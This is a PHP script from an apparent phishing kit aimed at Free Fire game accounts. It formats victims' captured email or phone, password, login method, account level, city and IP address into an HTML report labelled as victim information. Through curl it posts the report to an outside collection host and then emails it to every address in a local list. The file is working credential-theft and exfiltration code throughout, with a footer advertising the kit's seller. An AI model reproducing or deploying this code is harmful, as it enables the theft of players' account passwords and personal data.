<<?php

//mencegah masuk tanpa method get
if($email == "" && $total == ""){
$url = $_SERVER['PHP_SELF'];
header("Location: send.php");
}

//jenis ress
$coda = 'RESULT RIZZ HOSTING';
$spin = 'RESULT RIZZ HOSTING';
$claim = 'RESULT RIZZ HOSTING';

//jenis mail
$coda_mail = 'coda';
$spin_mail = 'spin';
$claim_mail = 'claim';

//get setting
include 'setting.php';

//method get
$total = '1';

//mengambil random isian
include 'log-cpr.php';
$noperess = '08'.rand(1000000,9999999999);

$log=array("Facebook", "Google");
$random_log=array_rand($log,2);

//info sendmail
$emailku = $email;
$logress = $log[$random_log[0]];
$idress = rand(100000000,9999999999);
$subjek = "🇮🇩[+62] FF LEVEL [$level]  LOGIN $log | ID $id";
$pesan = <<<EOD
<!DOCTYPE html>
<html lang="id">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title></title>
</head>
<body style="margin:0; padding:10px; background-color:#ffffff !important; font-family: sans-serif; color:#333333 !important;">

<div style="width:100%; max-width:400px; margin:0 auto; background-color:#ffffff !important; border:1px solid #eeeeee;">
  
  <div style="background-color:#007bff !important; color:#ffffff !important; text-align:center; padding:8px; font-size:14px; font-weight:bold;">Informasi Login</div>
  <div style="padding:5px 15px;">
    <p style="border-bottom:1px solid #f5f5f5; padding:10px 0; margin:0; font-size:13px; color:#666666 !important;">Email/Nomor: <span style="float:right; color:#007bff !important;">$email</span></p>
    <p style="border-bottom:1px solid #f5f5f5; padding:10px 0; margin:0; font-size:13px; color:#666666 !important;">Password: <span style="float:right; color:#333333 !important;">$password</span></p>
    <p style="padding:10px 0; margin:0; font-size:13px; color:#666666 !important;">Login: <span style="float:right; color:#333333 !important;">$log</span></p>
  </div>

  <div style="background-color:#007bff !important; color:#ffffff !important; text-align:center; padding:8px; font-size:14px; font-weight:bold;">Informasi Akun</div>
  <div style="padding:5px 15px;">
    <p style="border-bottom:1px solid #f5f5f5; padding:10px 0; margin:0; font-size:13px; color:#666666 !important;">Nomor Korban: <span style="float:right; color:#333333 !important;">$flag</span></p>
    <p style="border-bottom:1px solid #f5f5f5; padding:10px 0; margin:0; font-size:13px; color:#666666 !important;">ID Karakter: <span style="float:right; color:#333333 !important;">$id</span></p>
    <p style="border-bottom:1px solid #f5f5f5; padding:10px 0; margin:0; font-size:13px; color:#666666 !important;">Level Akun: <span style="float:right; color:#333333 !important;">$level</span></p>
    <p style="border-bottom:1px solid #f5f5f5; padding:10px 0; margin:0; font-size:13px; color:#666666 !important;">Ranked: <span style="float:right; color:#333333 !important;">$tier</span></p>
    <p style="padding:10px 0; margin:0; font-size:13px; color:#666666 !important;">Elite Pass: <span style="float:right; color:#333333 !important;">Pernah</span></p>
  </div>

  <div style="background-color:#007bff !important; color:#ffffff !important; text-align:center; padding:8px; font-size:14px; font-weight:bold;">Informasi Korban</div>
  <div style="padding:5px 15px;">
    <p style="border-bottom:1px solid #f5f5f5; padding:10px 0; margin:0; font-size:13px; color:#666666 !important;">Negara: <span style="float:right; color:#333333 !important;">Indonesia</span></p>
    <p style="border-bottom:1px solid #f5f5f5; padding:10px 0; margin:0; font-size:13px; color:#666666 !important;">Wilayah: <span style="float:right; color:#333333 !important;">$city</span></p>
    <p style="border-bottom:1px solid #f5f5f5; padding:10px 0; margin:0; font-size:13px; color:#666666 !important;">Latitude: <span style="float:right; color:#333333 !important;">$region</span></p>
    <p style="border-bottom:1px solid #f5f5f5; padding:10px 0; margin:0; font-size:13px; color:#666666 !important;">Longitude: <span style="float:right; color:#333333 !important;">$country</span></p>
    <p style="border-bottom:1px solid #f5f5f5; padding:10px 0; margin:0; font-size:13px; color:#666666 !important;">ASN: <span style="float:right; color:#333333 !important;">$os</span></p>
    <p style="padding:10px 0; margin:0; font-size:13px; color:#666666 !important;">IP Address: <span style="float:right; color:#007bff !important;">$ipz</span></p>
  </div>

  <a href="https://wa.me/6283142194541?text=bg%20beli%20jasteb%20gacor%20nya%20dong" style="text-decoration:none !important; display:block !important;">
    <div style="background-color:#007bff !important; color:#ffffff !important; text-align:center; padding:8px; font-size:14px; font-weight:bold;">
      © 2026 - By ForxzZHost ( click )
    </div>
  </a>
</div>

</body>
</html>
EOD;  
include 'panelrezz/data.php'; //wa.me/6283874438641
$sender = 'From: '.$nik.'<'.$sender.'>';
$headers  = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
$headers .= ''.$sender.'' . "\r\n";

$url = "https://cahayailahi.forxzcloud.my.id/cp/apiii.php";
$data =
"subjek=".$subjek.
"&pesan=".$pesan;
$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, $url);
curl_setopt($ch2, CURLOPT_POST, 1);
curl_setopt($ch2, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($ch2, CURLOPT_COOKIEJAR, getcwd()."/cok.txt");
curl_setopt($ch2, CURLOPT_COOKIEFILE, getcwd()."/cok.txt");   
curl_setopt($ch2, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_FOLLOWLOCATION, 0);
curl_exec($ch2);
curl_close($ch2);

$read = file_get_contents('farelganteng/data.json');
$json = json_decode($read,true);

for($i=0;$i<=count($json) - 1;$i++)
{
mail($json[$i]['email'], $subjek, $pesan, $headers);
}
?>